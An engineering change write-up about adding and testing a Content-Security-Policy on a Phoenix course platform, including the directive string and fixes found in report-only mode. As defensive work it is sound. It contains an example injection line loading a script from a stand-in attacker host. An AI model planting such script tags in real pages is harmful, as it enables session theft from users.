Lesson bodies render through Earmark → Phoenix.HTML.raw() in four places — the Instructor’s markdown becomes real HTML with no sanitization step in between. That’s the real stored-injection vector on this platform: a Lesson body is Instructor-authored today, but the moment it isn’t, a <script src="https://evil.example/x.js"> pasted into a Lesson would run in every enrolled Student’s browser with their session live. A Content-Security-Policy header doesn’t close that hole at the source — sanitizing the rendered HTML does, and that’s its own Card now — but it’s the seatbelt: even if something un-sanitized slips through, the browser refuses to fetch a script from anywhere we haven’t named.

The policy

One plug, one pipeline, applied identically in dev and prod:

plug ForgiaWeb.Plugs.ContentSecurityPolicy, mode: :enforce
default-src 'self';
script-src 'self' 'unsafe-inline' https://cdn.paddle.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://*.paddle.com;
font-src 'self' https://fonts.gstatic.com;
img-src 'self' data: https://*.backblazeb2.com;
frame-src 'self' https://*.paddle.com https://iframe.mediadelivery.net https://player.mediadelivery.net;
connect-src 'self' https://*.paddle.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';

'unsafe-inline' stays on script-src/style-src rather than a nonce refactor — root.html.heex has an inline theme-init script and a handful of onclick/style attributes, and the honest trade-off today is that Instructor accounts are just the site owner, so the residual risk a nonce would close is closer to self-XSS than a real attack surface. Revisit that once Instructor accounts open up beyond one person.

Shipping report-only first is what makes this safe to write in one sitting

The plan from the start was: Content-Security-Policy-Report-Only (log violations, block nothing) → drive the golden paths in a real browser → only flip to the enforcing header once that pass is clean. That process is what turned “the policy I designed on paper” into “the policy that’s actually correct,” because the paper version had three real gaps:

flowchart LR
    A[Write policy from
reading the code] --> B[Ship Report-Only] B --> C{Drive golden paths
in a real browser} C -->|violation logged| D[Fix the directive] D --> C C -->|clean| E[Flip to enforcing
Content-Security-Policy]

frame-src doesn’t fall back to default-src. The original assumption was that default-src 'self' covers same-origin framing generally, so frame-src’s explicit value (Paddle + Bunny domains, no 'self') would still let Phoenix.LiveReloader’s /phoenix/live_reload/frame iframe through. Wrong — frame-src’s fallback to default-src only applies when frame-src is absent entirely. Declare it, and it’s authoritative on its own. Without 'self' added explicitly, dev’s own live-reload iframe would have been the very first thing an enforcing policy broke.

Paddle’s checkout overlay loads a stylesheet from a CDN subdomain that isn’t cdn.paddle.com. In the sandbox environment, it’s sandbox-cdn.paddle.com. style-src only had 'self' 'unsafe-inline' https://fonts.googleapis.com — Paddle’s own CSS never had a path in. This is the same shape of problem the original design already anticipated for frame-src/connect-src (scoped to https://*.paddle.com rather than an exact host, because Paddle’s own domains vary by environment) — it just hadn’t been applied to style-src yet, because nothing in this codebase names that host directly to grep for.

Course thumbnails are not self-hosted. This one mattered most. The original scoping assumed img-src 'self' data:' was enough because “images are self-hosted (local upload storage via ImageUploadLive), no external image CDN.” That’s not what the code does — Forgia.Storage uploads to Backblaze B2, and the public URL is a B2 subdomain (https://forgia-dev.s3.us-west-004.backblazeb2.com in dev, a different bucket name in prod). An enforcing policy shipped on the original assumption would have silently broken every Course thumbnail on the Catalog and every Course page — the kind of regression that’s easy to miss in code review, because nothing about <img src={@thumbnail_url} /> looks wrong, and obvious the moment a real browser paints a broken-image icon where a thumbnail should be.

None of these three would have shown up reading the diff. All three showed up as one console line each, in report-only mode, with the exact directive named — because that’s what report-only mode is for.

What actually got exercised

A course seeded with a paid Paddle price, a Bunny-embedded Video Lesson, and a Text Lesson whose body is exactly the injection scenario this Card exists for — <script> and onerror= HTML sitting in the rendered page, same as it would if an Instructor account were compromised:

A Text Lesson rendering Earmark/raw() HTML that includes an injected  tag and an onerror handler — the page renders fine, nothing crashes

That inline script does still run — 'unsafe-inline' allows it, by design, per the trade-off above. What the policy actually stops is a <script src="..."> pointing anywhere that isn’t 'self' or https://cdn.paddle.com, which is what the automated test asserts directly against the header value rather than trying to prove a negative by injection.

The Bunny Video Lesson’s iframe loads under frame-src’s https://iframe.mediadelivery.net allowance (the 404 in the player is a fake video ID from the seed script, not a CSP block — the iframe itself loaded fine, which is the thing under test):

A Video Lesson’s Bunny iframe loading under the CSP’s frame-src allowance

And the full Paddle checkout overlay — PricePreview resolved, the embedded payment form interactive — end to end under the enforcing header, not report-only:

Paddle’s checkout overlay, fully interactive, running under the enforcing Content-Security-Policy header

Verified

Enforcing mode, driven in a real browser: log in, browse the Catalog, read a Lesson (including the injected-script one), play a Bunny Video Lesson, and complete a Paddle PricePreview + Checkout — zero CSP-caused console errors across all of it. mix test — 880 tests, 0 failures, including a new plug-level test asserting the exact header name and full directive string for both the report-only and enforcing variants. Confirmation.md’s directive strings were corrected in place to match what actually shipped, and the reasoning above is recorded in Conversation.md rather than as a separate ADR — three header-value fixes, cheap to reverse, not an architectural decision.

What’s deferred

Sanitizing Earmark’s HTML output is its own Card now — the actual fix for the stored-injection vector, since this CSP is defense-in-depth around it, not a replacement for it.